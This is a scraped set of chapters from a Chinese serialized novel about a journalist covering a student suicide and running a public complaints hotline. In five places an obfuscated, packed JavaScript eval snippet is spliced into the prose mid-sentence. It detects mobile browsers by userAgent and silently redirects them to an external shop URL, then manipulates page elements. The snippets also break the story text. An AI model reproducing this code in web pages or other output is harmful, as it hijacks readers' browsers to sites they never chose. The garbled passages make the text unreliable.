紧接着，一种奇异的寂静以内海五中为中心荡漾开来。先是一两声尖叫，像玻璃碴子划破绸布，随后寂静便吞没了一切喧哗。叶葆启感到脚下的柏油路微微震颤，仿佛大地咽下了一口难以消化的东西。 内海五中校门口，人群如退潮般空出一圈。有人指着教学楼四楼那扇洞开的窗户——窗框还在微微颤动，像一只刚吐出骨头的嘴。警戒线迅速拉起，黄得刺眼，如同给这片水泥地贴上一道符咒。沙土匆忙掩盖着那滩暗红，可那红色太倔强，仍从沙粒缝隙里渗出来，在阳光下变成无数只细小的、窥探的眼。 叶葆启设法钻进校门。空气里飘着一种甜腥气，混着栀子花晚谢的颓败芬芳。他看见几个穿校服的学生被老师搀扶着走过，他们的脚步骤然变轻，脚尖几乎不沾地，仿佛一群被抽去骨头的纸人。一个女生突然对着花坛呕吐，吐出的不是食物，而是几近透明的、带着泡沫的液体——像把魂魄呕出了一部分。 医院的长廊被日光灯照得惨白，墙壁散发出福尔马林和绝望混合的气味。家属蜷缩在塑料椅上，哭声不是连贯的，而是一截一截的，像扯断的肠子。校方和教育局的人站在阴影里，面孔模糊，他们的低语如同干燥的虫蛀在木头里爬行。叶葆启试图靠近，却感觉空气变得黏滞，像有无形的胶质隔在中间——那是官方的沉默筑起的墙。 果然，电话来了。听筒里的声音像是从很深的地下传来，每个字都浸过冰水：“意外失足……健康原因……按口径报道。”叶葆启盯着话筒，仿佛看见那些词语在空气中凝结成灰色的、方正的墓碑，齐刷刷立在他面前。 他不信。记忆是有重量的——那些考生苍白的脸，报刊亭老板压低的嗓音，空气里甜腥的味道，都在他颅腔里嗡嗡作响。他再次来到五中附近，绕着那栋楼转圈。夕阳把教学楼影子拉得很长，那影子边缘毛茸茸的，像在不安地蠕动。 报刊亭老板的眼睛在镜片后闪烁，像两枚泡在福尔马林里的标本：“我瞧得真真儿的，那女娃子在窗边立了有一支烟的工夫。风吹着她的校服，鼓起来，又瘪下去，像在叹气。后来她身子往前一倾——不是失足，是像跳水的人那样，张开手臂，栽了下去。” 旁边卖冰棍的老太婆咂着没牙的嘴，喃喃道：“作孽哟……昨夜我梦见好多白蛾子，围着这楼飞，赶也赶不走。今早果然……” 叶葆启在巷子口“偶遇”几个神色恍惚的学生。一个男生眼神涣散，盯着自己的指尖：“考数学的时候，我听见她在吸鼻子，很小声，像老鼠啃木头。交卷时她卷子背面……有大片空白，白得吓人，像雪地。”另一个女生突然捂住脸：“她复读那年，几乎不说话。课桌里总放着半块干瘪的馒头，她说吃得太饱脑子会钝。她手指总是黑的，不是脏，是墨水沁到指甲缝里，洗不掉。” 拼图一块块浮现。林世媛，复读生，父母是化工厂工人，手指常年泛黄洗不净。家里墙上贴满了她从小到大的奖状，边缘卷曲，像枯死的蝶翅。她睡的床板下压着一沓写满“我要考上”的纸，纸页被汗水浸得发脆，字迹洇开如哭花的眼妆。 叶葆启试图寻找家属。找到那片老家属区时，只见门上贴着褪色的门神，秦叔宝和尉迟恭的脸已被雨水泡得模糊。邻居隔着门缝说：“昨儿半夜搬走啦，来了辆面包车，一点声响也没有，像载着一车棉花。”空气里残留着廉价线香的味道，还有一丝若有若无的、铁锈般的悲伤，久久不散。 阻力如盛夏的藤蔓疯长。教育局的走廊长得没有尽头，两侧办公室的门紧闭如蚌壳。偶尔有门开一条缝，探出的眼睛迅速扫他一眼，又“咔哒”合上，像含住一颗不该出现的沙砾。 叶葆启的笔在纸上犁行。他写那栋教学楼：“四楼的窗从此总在无风时自己开合，铰链发出老人咳嗽般的声响。”他写考场的压力：“那不是抽象的东西，它有形，灰扑扑的，沉甸甸地压在每一个考生的脊梁上，能听见轻微的、骨头的呻吟。”他采访的心理专家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904172|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说：“有些孩子的心里，早就裂开了缝，只是大人忙着往里面灌希望和鸡汤，没看见那裂缝深不见底。” 他避开了绝对的断言，只让细节自己说话。文中，他让数字有了温度：复读生服药率、深夜心理咨询热线占线时长、模拟考卷堆叠起来的高度相当于几个少女的身高……他写家长：“他们的爱有时像一件浸了水的棉袄，穿在身上，暖和，却让人喘不过气，一步一步往深水里坠。” 陈秉烛审稿时，烟灰缸很快堆成小山。他指着一段：“‘她的坠落轨迹，在夕阳下划出一道淡金色的弧线，短暂得像一句被擦掉的祷告’——葆启，这太像小说。”但他没删，只是用红笔在旁边画了一个小小的、颤抖的圈。 稿子见报那日，内海市无风。但许多人在早餐摊上对着豆腐脑发愣，汤汁表面凝出一层薄薄的油膜。学校里，有老师破天荒没讲题，而是念了一首关于麦子的诗。深夜的电台，主持人声音沙哑，接进一个哽咽的电话：“我女儿去年也没考好，她现在在南方打工……我昨晚梦见她变成了一只鸟，翅膀湿漉漉的，怎么也飞不高。” 那扇四楼的窗户被封死了，钉上厚厚的木板，像给建筑贴了一块膏药。但叶葆启知道，有些东西已悄然改变。他在夜市看见一个卖辅导书的小贩，突然把“冲刺秘籍”扔到一旁，扯开嗓子吆喝起冰镇绿豆汤；他听见两个母亲聊天，一个说：“算了，健康就好。”另一个沉默很久，才轻轻“嗯”了一声。 陈秉烛拍他肩膀的那晚，月光是蓝色的，泼在办公桌上像一层凉薄的奶皮。“葆启，”老编辑眼里有疲惫的血丝，也有光，“记者的笔，有时候是招魂的幡，有时候是解剖的刀，有时候……只是一根探路的盲杖。你这次，让许多人摸到了那堵看不见的墙。” 叶葆启望向窗外。内海市的夏夜，灯火璀璨如倒悬的星河。他仿佛看见，无数个年轻的灵魂正背着沉重的书包，在灯火与黑暗的交界处蹒跚而行。他们背上压着的，不仅是书本，还有祖辈目光织成的网，未来许诺的海市蜃楼，以及整个时代急于向前奔跑时扬起的、令人窒息的尘埃。 而那个从未谋面的女生林世媛，或许已化成了一只透明的白蛾，绕着每一盏深夜苦读的台灯，轻轻扑扇翅膀。翅膀上，隐约有数学公式的花纹，有父母期望的纹路，还有一滴永不干涸的、六月的露水——那露水里，倒映着无数个同样年轻的、挣扎的、渴望飞翔又害怕坠落的，脸。 21. 第021章 听潮阁记事 一九九七年春，香港将归的消息像浸了蜜的风，甜丝丝地贴着内海市的街巷游走。而在《内海都市报》那幢灰扑扑的楼里，办公室的铁皮柜后头，正暗暗发酵着一件新鲜事。 叶葆启守着夜间电话站满三年了。那些从听筒里溢出来的声音，白日里是听不见的——它们总在深夜凝结成形，有时是带锈的水滴声，有时是电线短路的焦糊味，更多时候是粘稠的、化不开的叹息。他渐渐悟出个理：许多事悬在半空，不是没人伸手，而是伸出的手总在半道拐了弯，像被什么无形的东西舔去了指尖。 “何不请尊泥塑真身，来咱这烟火处坐一坐？”那日例会，叶葆启话音落得轻，却在陈秉烛镜片上撞出细微的涟漪。 会议室静得能听见墙上剥落的石灰屑坠地的声音。解平生喉结滚了滚，像咽下一枚带刺的果子。 陈秉烛的钢笔在纸上洇开一个墨点：“请神容易送神难。来了若只是泥胎镀金身，香火缭绕间演一场木偶戏，倒不如不请。” “试试便知。”叶葆启的声音像从很深的地方浮上来，“先请管水脉的龙王爷。夏日将临，高处的屋檐底下，多少水缸正张着干裂的嘴。” 这主意像颗奇异的种子，在请示与斟酌的土壤里发了芽。最终定下名目，唤作“听潮阁”——取的是听民间潮声之意，比那直愣愣的三个字要婉转些。 首请的果然是自来水公司。副经理王祎接到帖子时，正在办公室里侍弄一盆蔫了的文竹。听罢来意，他指尖的水珠悬在半空，许久才落进土里。“媒体设坛……”他喃喃道，仿佛看见自己成了戏台上的丑角。 四月第一个星期二，午后日头斜斜切进会议室。红布横幅悬在墙上，墨字吃得有些饱，微微晕开。长桌这边，王祎坐得笔直，仿佛脊梁骨里插了根看不见的秤杆。两位科长一左一右，像庙里侍奉香火的童子。对面，叶葆启和解平生隐在笔记本垒起的矮墙后，只露出半张脸。 两点整，三部黑色电话静静趴着，像三只蜷缩的甲虫。 起初的寂静是粘稠的。王祎端起茶杯，瓷盖轻磕杯沿的声音脆得吓人。就在这时，最左边那只甲虫突然活了过来，震颤着发出尖锐的嘶鸣。 “是管水的衙门吗？”听筒里的声音带着毛边，像砂纸打磨铁器，“桃花园南里，三楼往上，水龙头张了半个月的哑巴嘴！你们莫非是要老百姓用眼珠子解渴？” 王祎的手一抖，茶水泼湿了袖口。他慌忙凑近听筒，那姿势像在倾听一个易碎的梦。旁边的科长翻开册子，纸页哗啦作响如受惊的鸟群。“老旧管网，末端乏力……”声音低得像蚊蚋。 “莫念经！”那头的老汉吼声震得听筒发颤，“只问何时见真佛？” 汗珠从王祎额角钻出来，沿着太阳穴画出一道亮晶晶的线。他瞥见叶葆启的笔尖正在纸上游走，沙沙声如春蚕食叶。“老伯，明日……最迟明日日落前，必有人登门叩诊。” “当真？白纸黑字可记着呢！” “当真。”二字吐出，重若秤砣。 电话刚挂，中间那只甲虫又嘶鸣起来。两个小时里，铃声此起彼伏，织成一张密密的网。有妇人哭诉水管裂了三个月，清水白白流进地缝，像淌走的命数；有年轻人质问抄表员的眼神为何冷过腊月冰凌；还有学究模样的声音，拐弯抹角探听水价涨跌的天机。 王祎渐渐变了模样。起初的拘谨像件不合身的外套，被一波接一波的声浪冲刷得松了扣子。他开始前倾身体，肘部压在桌面印出两个深色的圆斑，问话时手指不自觉地在空中划着圈。某次，当他当场允诺更换某片锈蚀的阀门时，听筒里先是一段空白，接着传来压抑的抽噎——那声音很轻，却像根细针，刺穿了会议室里凝滞的空气。 四点，铃声歇了。王祎瘫进椅背，长长吐出一口气，那气息里混着铁锈味和说不清的疲惫。“叶记者，”他苦笑，眼角堆起细密的纹路，“这听潮阁的潮声，轰得人耳蜗里直响钟磬。” 叶葆启推过一杯温茶。茶水澄澈，映着天花板上摇晃的日光灯管。“潮声本就在那儿，不过平日隔着层层宫墙罢了。” 次日见报的文章，题为《听潮阁初记：水司闻潮》。叶葆启写得克制，字里行间却藏着暗流。他写王祎袖口的茶渍如何由深变浅，写电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904173|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话线如何在午后光影里绷成弓弦，写某个承诺出口时，窗外恰好飞过一串鸽子哨音。文末他幽幽点道：“潮来潮去，礁石露颜。是化作润物的甘霖，还是退回虚妄的泡沫，且看潮退后的滩涂。” 报纸上市那日，办公室的电话成了滚水锅。桃花园的老汉竟又打来，声音里透着难以置信的亮色：“真来了！带着罗盘似的物件，说要在泵房里动土木……”背景音里隐约有叮当敲击声，像遥远的更鼓。 自来水公司那边也起了微妙变化。王祎回去后连夜召开会议，那些从听筒里捕捞上来的问题被写在红头笺上，一桩桩钉在督办栏里，像晾晒的鱼干。有科员私下嘀咕：“副经理的茶杯，如今总搁在案头最显眼处，再不曾碰过那盆文竹。” “听潮阁”的名声就这样悄悄漫开。第二请是房管公司，第三请是电灯公司，第四请是轮子上的衙门……市民们学会了掐着时间拨号，有时线路忙，忙音嘟嘟响着，像某种焦急的心跳。而来坐镇的人，也逐渐摸出了门道——有局长来前特意调阅了三月舆情，笔记做得密如蛛网；有主任揣了一兜糖块，遇上骂声太急的，便温言劝道：“您老先润润嗓子。” 叶葆启的笔始终悬在褒贬之间。他写官员们如何在不同声浪中变换脸色——有人额头沁汗如晨露，有人指节捏得泛白，也有人渐渐松开官袍下的紧绷脊梁。他总在标题里藏着“听潮”二字，像在绵密针脚里埋进暗线。 某日总编执报沉吟，对陈秉烛笑道：“秉烛啊，你们这阁子，把官袍晾在了市井声里。妙就妙在，晾着晾着，有些针脚便显了形。” 这话辗转传到叶葆启耳中时，他正在整理下一期的录音带。磁带悠悠转动，倒带回某个片刻——那是供电局老局长面对质问时，长达十秒的沉默。空白里，只有电流的嘶嘶声，像极了土地干裂前的叹息。 “听潮阁”就这样生了根，在内海市的肌理里悄悄蔓延。叶葆启尚未料到，这些从电话线里打捞上来的潮声，终将汇成更汹涌的暗流，在未来的年月里，拍打出连他自己都心惊的回响。而此刻，春日尚暖，阁中的电话静静趴着，等待下一轮潮汛。 22. 第022章 雨夜听潮阁 雨来得没有预兆。午后天空开始沉淀一种铅灰色的情绪，云层低垂仿佛触手可及。到了约定的时间，豆大的雨点终于砸下来，在玻璃窗上炸开一朵朵转瞬即逝的水花。会议室里，市房管局副局长老刘望着窗外怔了片刻——那雨帘密得看不见对街的楼。 “这雨，”他喉结动了动，“是要试探那些老骨头的承重了。” 话音落进雨声里，像是某种应验。热线电话在下一秒骤然响起，不是一声两声，而是同时炸开三四道铃声，撕破了室内短暂的寂静。 “听潮阁吗？我是海北区树林街的！屋顶漏成了筛子，床上漂着锅碗瓢盆！” “市南区湾德庄！老房子的山墙裂开了嘴，雨水正往喉咙里灌呢！” “鸿运区西水沽！外墙皮整片剥落，砸在地上溅起的水花比人还高！” 声音从听筒里溢出来，带着雨水的潮湿和某种原始的恐惧。老刘和带来的两名科长交换了眼神——那是一种猎人听见兽群逼近时特有的警觉。记录纸在他们手中迅速铺展、填满，墨迹在潮气里微微晕开，像渐渐扩大的水渍。 这已不是寻常的问询。这是汛期里房屋们集体发出的呻吟。 老刘忽然站起来，椅子腿在地板上刮出短促的呜咽。他抓起一部电话，拨回那个他熟悉的号码，声音却变得陌生——更高、更硬，像淬过火的铁： “启动三级响应。所有能动的队伍全部上街。优先处理这些地址——”他报出一串地名，每个音节都像钉子般楔进空气里。 小小的会议室开始变形。桌椅的边界模糊了，电话线像藤蔓般缠绕延伸，人们的身影在昏黄的灯光下晃动、重叠。这里不再是报社的普通房间，它成了一个临时的巢穴，收容着整个城市在雨夜里的惶恐。老刘坐在中心，挽起的袖口下露出半截小臂，青筋随着每一次指令微微跳动。 叶葆启握着听筒，感觉电流的嗡鸣顺着导线爬进掌心。他看见老刘一边对着地图划出标记，一边对着电话说“再坚持一刻钟，人已经在路上了”，那声音又忽然软下来，软得像对自家老人说话。两种声音在同一个喉咙里交替，如此自然，仿佛人本就该有这两副面孔。 窗外的雷声不是霹雳，而是低沉的、持续的隆隆，像是大地在翻身。闪电偶尔切开雨幕，那一瞬间，会议室里所有人的脸都被照成青白色，定格成一张张浮世绘。 一个特别的电话挤了进来。是个老太太，哭腔里夹着雨声： “领导……我不是要修房子……我回不了家了……” 她说海东区那片低洼地已经成了池塘，水漫过膝盖，她提着菜篮子站在对岸，看见自己的家门在雨水中微微晃动，像海市蜃楼。邻居们都困在各自的孤岛上，彼此能望见，却渡不过去。 老刘沉默了三个呼吸的时间。叶葆启看见他闭了闭眼，再睁开时，那里面有某种东西沉淀下去，又有某种东西浮起来。 “这不是我们一家能摆平的事了，”他说，声音很轻，像是自言自语。然后转向叶葆启：“帮我接防汛指挥部，还有派出所。” 电话线在这一刻成了血管，将不同器官连接起来。橡皮艇在积水的街道上漂浮的画面，通过电流传递回来，变成语言，再在听潮阁里重新组装成图像。老太太被背进艇里时，菜篮子还紧紧攥在手中，里面浸透的蔬菜在雨中泛着幽暗的光。 “有些事啊，”老刘挂断电话后，望着窗外说，“就像这雨，它才不管归哪个部门管。它只是下，下到所有界限都模糊了。” 雨持续到晚上八点多才渐渐收敛。统计数字最终落在七十三——这是雨夜通过这条线路传递出的求救信号。房管局的人马在城市的毛细血管里穿梭，像白细胞扑向创口。没有英雄式的凯旋，只有疲惫的回报：“海北区三处堵住了”，“市南区裂墙临时支护了”，“鸿运区坠落物清理完毕”。 老刘终于允许自己瘫进椅子。那姿态不是坐下，而是某种东西从他体内流走了，留下一个空壳。他接过叶葆启递来的热水时，手有轻微的颤抖，杯沿碰击牙齿发出细碎的响声。 “今天这听潮阁，”叶葆启说，“听到的是真潮。” 老刘扯了扯嘴角，那笑容像一道即将愈合的伤口：“潮水退去，才会看见谁在裸泳。老旧房子的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904174|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题，平时都藏在砖缝里，只有这样的雨，才能把它们泡发、胀大，直到藏不住。” 次日见报的标题很朴素：《雨夜，听潮阁化身防汛前哨——房屋险情在电波中消融》。叶葆启的文字像一把钝刀，不追求锋利，只求切准纹理。他写老刘小臂上的青筋，写记录纸上晕开的墨迹，写抢险队员雨衣反光条在黑暗中的一闪，写老太太菜篮里湿透的芹菜。 报道结尾处，他这样写道：“有些声音平日潜伏在砖瓦深处，唯有在雨夜才会苏醒、汇集，成为潮汐。听潮阁不是宫殿，它只是一间亮着灯的房间，愿意在潮水来临时打开窗户。当行政的齿轮与民意的水流在暴雨中偶然咬合，那些被冲垮的，或许不只是老墙，还有某些更顽固的隔阂。” 这篇文字后来得了奖，但叶葆启记得更清楚的，是见报后第三天，他在报社门口遇见的一位老人。老人什么也没说，只是将一把用油纸包好的芝麻糖塞进他手里，转身消失在街角。糖在掌心慢慢融化，透过纸渗进皮肤，那甜味很旧，像是从很久以前跋涉而来。 听潮阁的名声就这样随着雨水渗进了城市的土壤。要求来“坐镇”的部门排起了队，那名单越来越长，长得需要专门的本子来记录。总编在评报会上笑出了眼角的褶子：“咱们这阁子，算是撞响了一口钟。” 但叶葆启心里明白，钟声传得越远，持锤的手就越要稳。他和同事们开始打磨流程：潮汛来临前的征兆该如何捕捉，不同季节的潮汐有何特性，退潮后留下的痕迹又该如何辨认。听潮阁渐渐长出了自己的规矩，像一棵树在适应了土壤后，开始分杈、长叶。 而这一切的源头，要追溯到更早的时辰——当叶葆启还在公交车上撕票根的那些年，他听见乘客的抱怨在车厢里漂浮、碰撞，最后沉淀在他意识的底层。那些话语起初像沙粒，后来在某个恰好的温度和湿度下，竟然开始分泌某种黏液，将自己粘合成一颗种子。如今这颗种子在1997年夏天的暴雨中破土，长出第一个节。 它会长成什么，还没人知道。但每个经过听潮阁的人都会看见，那扇窗后的灯光，在雨夜里总是亮得格外久一些。 23. 第023章 听潮阁的回响 叶葆启没料到，那间挤满旧档案柜的办公室，有一天会变成潮水的源头。 起初只是涓涓细流。穿深蓝制服的自来水公司王祎第一个坐在那部红色电话机前时，额头上的汗珠在日光灯下亮得像河底的卵石。他握听筒的手指关节发白，仿佛攥着的不是塑料，而是某段滑腻的活物。墙上的电扇嗡嗡转着，把百姓的话语搅成一阵又一阵的、带着铁锈味的风。 后来，不同颜色的制服轮番出现在那张掉漆的木椅上。他们像候场的戏子，在帘子后清嗓子，整理衣领上并不存在的灰尘。电话铃响时，总会惊起短暂的寂静，仿佛潮头在远处蓄势。然后，声音涌进来——苍老的、尖利的、哽咽的、愤怒的——汇成一片模糊而坚韧的喧响，漫过门槛，漫过走廊，在报社老楼长满苔藓的砖缝里生根。 陈秉烛把这方寸之地唤作“听潮阁”。名字起得雅，内里却是滚烫的。叶葆启有时深夜独坐，会觉得那些声音并未消散，而是凝结成了水珠，从天花板渗下来，一滴，一滴，砸在摊开的笔记本上，晕开一滩滩字迹模糊的苦楚。 央媒那位先生来的那天，穿着洗得发白的卡其布外套，像一位寻访古迹的塾师。他坐在堆满信件的长凳上，听叶葆启讲如何“请神”，如何“安神”，如何用方格稿纸铺成渡桥，让两岸的影子能短暂地对望。先生不作声，只用一支老式钢笔在牛皮本上记，笔尖划过纸面的声音，细碎如春蚕食叶。末了，他合上本子，轻轻叹了一句：“这阁子里，听的何止是潮啊。” 通稿发往全国那日，是个阴天。云层低垂，仿佛一伸手就能蘸到墨汁。叶葆启去买早点的路上，看见街角阅报栏前挤满了人，那些铅字透过玻璃，映在无数沉默的瞳孔里。他知道，有些东西再也关不住了。 果然，四面八方的信笺如离巢的灰鸽，扑棱棱落满办公室的窗台。有盖着朱红大印的公函，纸硬挺，透着衙门深处特有的、樟木与旧案卷混合的气味；有娟秀的钢笔字，来自江南水乡某座小楼里的书院，询问“听潮”之术可否引为课上案例；也有粗粝的牛皮纸信封，边角磨损，贴着遥远北国的邮票，里面是厚厚一沓手稿，字迹激动地倾斜，称此为“一剂醒世的汤药”。 来访者络绎不绝。一位从关外来的女记者，脖颈围着火红的围巾，她盯着那部红色电话机，忽然轻声说：“它真像一颗心脏。”另一位两鬓斑白的学者，在屋里踱步良久，指尖拂过墙上贴满的诉求纸条，喃喃道：“符咒……这都是祈愿的符咒啊。” 叶葆启招待他们喝水，用的是报社统一配发的白瓷缸，缸身上“先进生产”的红字已斑驳。他说话慢，带着本地口音特有的、水汽氤氲的调子：“没啥玄乎的。就是让该听的人，坐下来听。耳朵贴得近了，总能听见点什么。”陈秉烛则在一旁，用火柴慢慢点烟，烟雾升腾，遮住他半张脸，话音从雾里透出来，稳如秤砣：“心摆正了，椅子就稳。椅子稳了，潮声再大，也翻不了船。” 名声是件沉重的袍子。夜里，叶葆启常梦见自己变成那个坐在木椅上的人，电话铃响成一片海啸，无数苍白的手从听筒里伸出来，抓住他的手腕，冰冷彻骨。他惊醒，听见真实的夜雨敲打窗棂，淅淅沥沥，像永不疲倦的耳语。 压力化作各种形状前来叩门。有带着谦和笑容的“沟通”，话语如裹了丝绒的卵石；有涉及盘根错节旧账的难题，像一团浸透水的乱麻，沉甸甸地搁在桌上，扯不断，理还乱；也有话筒那头骤然爆发的哭骂，尖锐如碎瓷，划破午后昏沉的空气。叶葆启学会了泡一种极浓的苦茶，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904175|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口下去，从舌尖苦到心底，便能将那许多滋味暂时镇住。 岁末表彰那日，大礼堂悬着的红色横幅被穿堂风轻轻鼓起，如一面将扬未扬的帆。总编的声音通过扩音器传来，带着嗡嗡的回响，他说了些“扎根泥土”、“敢为人先”的话。当“听潮阁”三个字被念出时，叶葆启感到身旁的陈秉烛，极轻微地挺直了背脊。 奖状是镶在玻璃框里的，金粉在灯下有些晃眼。叶葆启抱着它，像抱着一块温暖的薄冰。散会后，他独自走到院中。寒风刺骨，却吹散了连日困在室内的浊气。他抬头，看见墨蓝天幕上，星星如一把被随意撒出的银钉，有的明亮，有的黯淡，有的聚成模糊的一团光晕。 “看什么呢？”陈秉烛的声音从身后传来，伴着熟悉的烟草味。 “看那些钉子，”叶葆启指指夜空，“您说，是哪只手把它们楔上去的？” 陈秉烛也仰起头，喉结滚动了一下，半晌才说：“老辈人讲，地上一个人，天上一颗星。亮的，是醒着的；暗的，是睡着的；那模模糊糊的，怕是正半梦半醒，不知该往哪儿照呢。” “那咱们这‘听潮阁’，算是一盏小灯，晃了晃，惊起几个睁眼的？” “灯也罢，钉子也罢，”陈秉烛拍拍他的肩，转身朝亮着灯的门廊走去，影子在地上拖得很长，“能留下个印子，让后来人知道这儿曾经响过潮，便够了。” 叶葆启独自又站了一会儿。他仿佛听见，那潮声并未远去，它渗进了地底，在看不见的深处蜿蜒、汇聚，等待着下一次月亮的牵引，再一次漫上人间沉默的堤岸。而那间小小的“听潮阁”，连同里面那把被磨得发亮的木椅，那部颜色褪成旧血的电话，都将成为这漫长回响中，一个微不足道、却又无法抹去的音节。 24. 第024章 听潮阁闻涛 潮声自市井深处涌来，一浪高过一浪。那间被称作“听潮阁”的斗室，渐渐成了各路人物不得不驻足的低洼地。水汽与电流的喧哗尚未平息，叶葆启心中却又升起另一道更为沉郁的波浪。他提起笔，在名单上缓缓写下几个字。对面的陈秉烛看着那字迹，指尖的卷烟悬停良久，灰白的烟烬无声折落。 “那座庙堂……怕是不妥。”陈秉烛的声音压得很低，像怕惊动梁上栖息的什么，“门墙太高，里头的香火也旺，更兼供奉的是秤与剑。贸然去请，只怕请神容易……” 叶葆启却望着窗外铅灰色的天穹。他看见无数细小的影子在巷陌间奔走，怀里揣着沉甸甸的纸页，那些纸页浸透了汗、泪，甚至别的什么，早已脆黄卷曲，却始终递不进那扇厚重的门。“主任，”他转回头，目光平静，“潮水既已来了，总要有个去处。不若就在咱们这低洼处，先听一听那涛声从何而起，又裹挟着何种砂砾。只闻其声，不评其案，或许……也能让那高墙里的钟磬之音，更清亮些。” 几番权衡，如同在薄冰上探路。终于定下章程，如同设下结界：只聆风声雨声，不触案卷本身；有执事者陪坐一旁，以备质询；笔吏谨守分寸，只录其形，不描其髓。预告悄然刊出，印在报纸的角落，却像一粒火星溅入枯草甸。 那一日，时间未到，报社那旧石阶前已无声聚起黑压压的一片。不是人群，更像一片骤然凝结的、沉默的乌云。他们大多不言不语，只是怀里紧紧抱着、用布包裹着的厚叠纸张，像抱着此生最后的骨骸。风吹过，纸页在包裹里发出簌簌的哀鸣。 叶葆启走到门口，那股沉闷的气压让他胃袋像被一只冰凉的手攥住。他瞥见无数双眼睛，里面没有火光，只有深潭般的滞重与期盼。喧哗起初是压抑的，低沉的，随后便如决堤般难以遏制。秩序像脆弱的蛛网般被挣破。 原定的方寸之地早已不堪重负。李树峰副院长端坐室内，听着门外隐约传来的、仿佛地层挤压般的嗡鸣，面色如古井水，唯有搁在膝上的手指，极轻微地弹动了一下。 “叶笔吏，这潮……怕是阁子要承不住了。” 叶葆启拭去额角并非因热而生的汗，声音却稳：“李院，潮水既至，堵不如疏。不若移步厅堂，敞开门扉，容那水汽稍稍漫入。只是规矩如前——我等只观水势，不辨流中沉木。” 李树峰默然片刻，与左右交换过眼神。那眼神里有些复杂的、沉重的东西闪过，最终归于一种疲惫的决断。“也罢。既来之，则安之。听潮，本就是我等应有之义。” 大厅内，长桌铺开，恍若祭台。李树峰等人正襟危坐，如同入定的僧侣。门扉洞开，人流便如一线粘稠的墨汁，缓缓渗入。 接下来的光景，让所有亲历者多年后梦回，仍觉耳畔涛声隆隆。 进来的人，将怀中纸卷层层铺开。那些字句早已被泪水或汗水渍得模糊，如同河床上被冲刷千年的残碑。有人声音干涩，断续地念着上面的话语，像在念诵早已失传的咒文；有人只是指着某行某字，手指颤抖，喉头哽咽，却发不出完整音节。空气里弥漫着旧纸张、尘土、以及一种近乎绝望的渴盼混合的气味。 李树峰垂目倾听，眼角的纹路像年轮般深刻。他极少打断，只在某些关节，用沙哑的嗓音解释几句关于“河道疏浚章程”或“风帆起落的时节”。对于那沉在水底的、具体的礁石，他只说：“此物沉重，容我等带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904176|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回，于灯下细辨纹路。”承诺像薄薄的宣纸，被郑重地叠起，交付出去。 自未时至戌时，窗外天光由白转昏，最终被夜幕吞噬。厅内灯火通明，映照着一张张流过泪后更加木然或释然的脸。人潮渐次退去，留下满地无形的褶皱与叹息。 人散尽，李树峰依旧坐着，背脊挺直，却仿佛被抽去了某些支撑。他面前的粗瓷茶盏已空，边沿留着深褐色的渍痕。 “潮声……终究是听见了。”他低语，不像对叶葆启，更像对自己，“坐在高处，只听得到编钟雅乐。下了阶，才知巷陌风雨，俱是真实。” 翌日，报章上刊出纪事一篇，题为《檐下听涛记》。文中未提惊雷骇浪，只写风雨入耳，檐水如何滴穿阶石，庙堂之人如何俯身，于水洼中窥见一方倒悬的天。笔触含蓄，如雾里观花，然个中冷暖，读者自能体味。 